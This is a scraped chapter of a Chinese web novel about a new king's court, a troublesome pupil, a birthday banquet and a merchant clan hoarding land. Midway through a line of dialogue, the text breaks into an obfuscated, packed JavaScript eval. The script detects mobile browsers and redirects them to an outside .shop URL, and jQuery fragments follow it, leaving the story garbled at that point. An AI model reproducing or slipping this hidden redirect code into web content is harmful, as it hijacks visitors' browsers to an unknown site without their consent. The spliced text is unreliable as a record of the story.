文趣网 > 其他小说 > 天绛 > 25. 皇城新事
    “今天的夕阳格外好看,不过留存的时间太短了。”念泽早已看淡世间万物,却还是会为一瞬的夕阳发叹。

    “今后,我们每天都能看到这样好看的夕阳,这么感怀做什么?”

    念泽面对农复晞的疑问,面色有些恍然,她握住他的手,直言道:“这一天终于到了。说真的,这种感觉很不真实,就好像只是一场美梦。”

    “怎么会呢,这里一切都是真实的。”

    农复晞不能真正理解她的不真实感,在他看来他们两个就是做到了。他很庆幸,庆幸命运的眷顾,庆幸历经生死之后,命运选中的是他农复晞。

    至于农复晞如何浩浩汤汤携数万军师入主京都;苍斓皇城里百姓如何呼声震天,簇拥新主;新任王君如何册封赏赐下臣,礼贤下士……在此就无须多言了。

    自从做了清嘉王君的农复晞与清宁侯君念泽完成大婚,到政通人和,八方宁靖,三个年头很快过去。

    “这几天怎么没看到南星?他一向最喜欢往翠微宫钻。”念泽终日沉迷金石学,一连几天没见到胡南星,这会儿才想起他。

    农复晞赏玩着念泽收藏的龙纹玉璧,说得十分轻松:“送去学馆读书了。现在田允麟身体一年不如一年,我给他安排了个闲职,在修文馆当夫子给孩子们教书,太傅和军师的职责就算挂个名了。”

    “那你把南星安排进修文馆做什么?那对田允麟来说,还是闲职吗?”

    “你从不让胡南星好好念书,旁人上得修文馆,他为何上不得?总管是要管教的,给他位严师才好。以后田允麟要实在教不动了,再说。”

    “不是我不让南星好好念书,他实在是……”念泽简直一言难尽。

    修文馆中,偶有低诵,如风过林。

    “老夫今日给诸位上书法课……字之横直波折,必有来歴,书家漫然写去,未始不快。”

    胡南星坐在中间靠后的一排里,托着脑袋,昏昏欲睡。昨夜钻狗洞偷溜出王宫去看民间比武,今日早课果然直打瞌睡。

    先生走近他身旁则坐得笔直,强撑着眼睛。等先生走至讲席上,他则软软摊在书案上,不知不觉就睡着了。

    倏然间,一声戒尺的脆响惊醒了人群中的瞌睡虫,泛起一阵骚动。胡南星以为是什么兵器的声音,一跃而起,将自己书案上那方盛满了墨汁的砚台打翻在地,墨汁溅了自己一身白衣,顿时引起哄堂大笑。他自己睡意全消,呆呆地望向讲席上的田先生。

    农复晞在议事厅里与三五重臣商议要事。

    “都统旧府中的文士以男子居多,武人亦是。这也是没办法的,时势所致,女子大多难以自食其力谋求出路,更不必说入仕为官了。但是今时不同往日,入仕的道路上必须要有更广阔的群体参与进来。我以为,地方上的县、郡、城再到州,各地学馆都应不限男女,层层科考更要不限性别、出身、阶层。总有一天,我们朝堂之上能做到男女同朝,俊杰并驱。你们怎么看?”

    这原本也是大臣们私下早就商量过的事,这回王君正式提出来,他们自然纷纷附议。

    待几位重臣商讨好细则之后,农复晞一锤定音:“那今天就到这里吧。杜羽,你草拟好政令,明早朝会上公布开来。”

    “是。”杜羽接下指示,似乎还有话要说。

    农复晞等着他开口,他见状站出来说:“这几年来休养生息,已经是政通人和,民康物阜。臣以为今年趁君上您的生辰,千秋节可以好好办一场。既可凝聚朝堂人心,又可军民同乐,以彰显太平气象。”

    “也好,那就让礼部着手去办吧。现在算来,离千秋节还有月余,足够好好办一场了。”

    千秋节那天,曹大娘、颜平章、鹤州新城主祁怀玉等故人都来了苍斓皇城。

    念泽、曹大娘和祁怀玉多年不见,围炉煮茶说着体己话。

    “大娘身体可还安康?”

    “一切都好,这几年无病无灾的,就是入秋之后的咳喘是老毛病了,好不了。”

    “我最近得了本药方古籍,写得很不错。等宫宴结束,我拿给医官看看,里面说不定有能根治你咳疾的办法。”

    “那好啊。书上写的尽可一试,就算不起效,再坏也不过是现在这样罢了。不管多新鲜的法子,尽管使来。”

    三人都笑了起来。

    念泽给对面二人添了新茶,“此番入京,你们多在宫里住些时日陪陪我吧。”

    “念泽姐,那你可不许厌烦我。”祁怀玉还是和过去一样喜欢挨着念泽。

    “只怕你们都嫌我这里住着无趣,怀玉你是没去过氿州,我可想念山庄的日子了。”

    吉时已至,千秋门次第洞开。太常寺典仪官唱赞声中,朱紫袍服分班鱼贯而入。

    殿外宫灯成排亮着,如万点星火,殿内亦如同白昼。

    颜平章坐在席中,四处张望,似乎没有满意地找到自己要找的人。

    “王爷找什么呢?”念泽见状问询。

    颜平章咂舌道:“怎么白家没来人?本王一路上还想着要向白家人请教经商之道呢。”

    农复晞在上面看他,他的鬓角原来也生出了白发,他倒无甚思虑,不过是岁月不饶人。

    有人在对面回应:“颜王爷,白家人本该要来的,可惜都没人得空,派不出人来。”

    宫宴上说这个,农复晞心里不大痛快,念泽心里也跟着紧张起来。

    宫宴按部就班进行着,直至以“杨柳双声”的传世之曲收束宴席,白家人始终没有到场。

    “今日朝会都说了些什么?”

    杜羽下了朝会,正好碰见念泽,二人一道边走边聊。

    “说的还是宫宴上白家缺席的事。今早朝会前白家才派人传信入京,说白家家主在外经商,白夫人病重,故而缺席,求王君谅解。”

    “白夫人病重?白夫人怎么会病重?”

    杜羽见她如此紧张,有些无措,急忙解释道:“白夫人具体如何,信里并没有细说,可能是内外操持一个经商大族,操劳所致吧。”

    “那白家二房夫人没事吧?”

    “这更是未曾提及了。”

    “原来如此。”

    “其实缺席一场宴席也不是什么大过,王君也不会十分在乎。真正严重的是白家仗着扶持过王室的底子,在城中四处囤地,租价翻了几番。商户叫苦,官府却碍于面子不敢深究。”

    “什么!他们怎么敢?”她停下脚步,放低了声音,“他知道吗?”

    “还不知道,不过已经有人递奏折上去了。”

    “我去解决这件事,暂且别往他面前凑了。”

    杜羽会意地点点头,而后拱手行礼道:“恕臣冒昧,念大人。若知有今日,您当初便不该放权。”

    念泽严肃了表情,“杜羽,我知道你是为我好。但你现在毕竟是辅佐王君的尚书令,有些话就不能乱说了。”

    “臣知道错了。”

    “哦,对了。你和太傅倒是常见,他有没有和你提及过他在修文馆教书的经历?”

    杜羽笑了,“

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887358|212597||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    那自然是有的。他说的话很有意思。他说,在学馆里批改习字比以往写奏章还要费神,好在孩子们是可爱的。不过其中不乏闹腾的孩子,让人急得牙痒痒。”

    “闹腾的孩子,我不用猜都知道,胡南星肯定在里面了。”

    杜羽点点头,笑了一声,“他……”

    “想说就说吧,我受得住。我也实在想知道这老头怨怼起来究竟是什么样。”

    “田大人根本按不住他。上回……田大人握着书卷,对学生们发叹:‘虚心涵咏,切己体察呀!’”

    “然后我亲眼所见,胡南星歪着头观察窗外麻雀,被一板子叫起来回答问题,回答不上来还要狡辩说这些东西太守旧,多学则古板,令人陈腐,把田大人气得怒火攻心。他自己跑出课堂,夫子在后面追。叫破喉咙也不应他呀。哎呀,真不省心!”

    “那太傅怎么样了?不会被他气晕了吧?”念泽深感不妙,他担心田允麟一把年纪,身体吃不消。

    杜羽说着,叹着,“前天病倒了,告假卧在家中。”

    “太傅的身体一向不好,你去趟他府上好好安抚,把库房里珍藏的补药能用得上的都带去。”念泽特意叫来柳琇,仔细叮嘱。

    二人走着走着,不知不觉已经到了修文馆门口的回廊。

    念泽再往里面走了几步,就看见南星闷闷地坐在侧边台阶上,拿着树枝在地上画圈,想必他也知道自己对不住夫子。

    “两相折磨。”

    “送他去武馆吧。”

    “真的?”胡南星偷听到这话,意外之余,赶忙丢了树枝,跑过来和念泽讲话。

    “你该去和田先生道个歉。”

    “这不难!”

    “去了武馆务必认真学,可不能再这样。”

    “一定!”

    农复晞的殿内静悄悄的,只有铜壶滴漏在角落里匀速坠着水珠。

    “我最近一直有听到一些闲言碎语,那白家到底什么情况?你查得怎么样了?”

    闻善坐在他对面,答道:“主要说的是白家的家主白亨。”

    “白亨我也是结交过的,商人逐利,是比较精明。怎么,时移世易,人变了?”

    “不错,他这些年敛财可以说是远近闻名了,话里坏外都是有王室撑腰的意思。还说三年前我们与徐英卓的决战中,是他们白家提供了大多数的财源,才让我们得以战胜,没有白家的财力就没有如今的天下。不过他现在家大业大,也没有人敢把闲话往您耳朵里传。”

    “他敢这么大放厥词,那白夫人不是很能干谨慎的人吗?也不管?”

    “白夫人早些年是规劝他的,不过人心贪婪难改,有什么用呢。后来白夫人病重,他就更加不管不顾,肆无忌惮了。”

    “等等,你说的这些,念泽知道吗?”

    “也许知道吧。”

    农复晞沉默片刻,随即降旨:“白亨要敛财,就赐他金银五百两,娟帛二百匹。白家作为皇商首衔降为常商,奉职如初。看他还要不要脸面。”

    闻善走后,农复晞问身侧的近侍,“你说闻善刚刚是不是瞒了什么?夫人她知道白家的事对不对?你告诉我,她都做了什么。你大胆说,我不怪罪你。”

    “白家的事,夫人她的确是知道的。白家囤地一事,是她命人拦下了奏折,只是私下里警告了白家。如果不是出了人命,恐怕这件事要就此掩盖了……”

    农复晞打断了近侍后面的话,“好了,我知道了。这些事也怪不到她头上,她一定有她的理由。”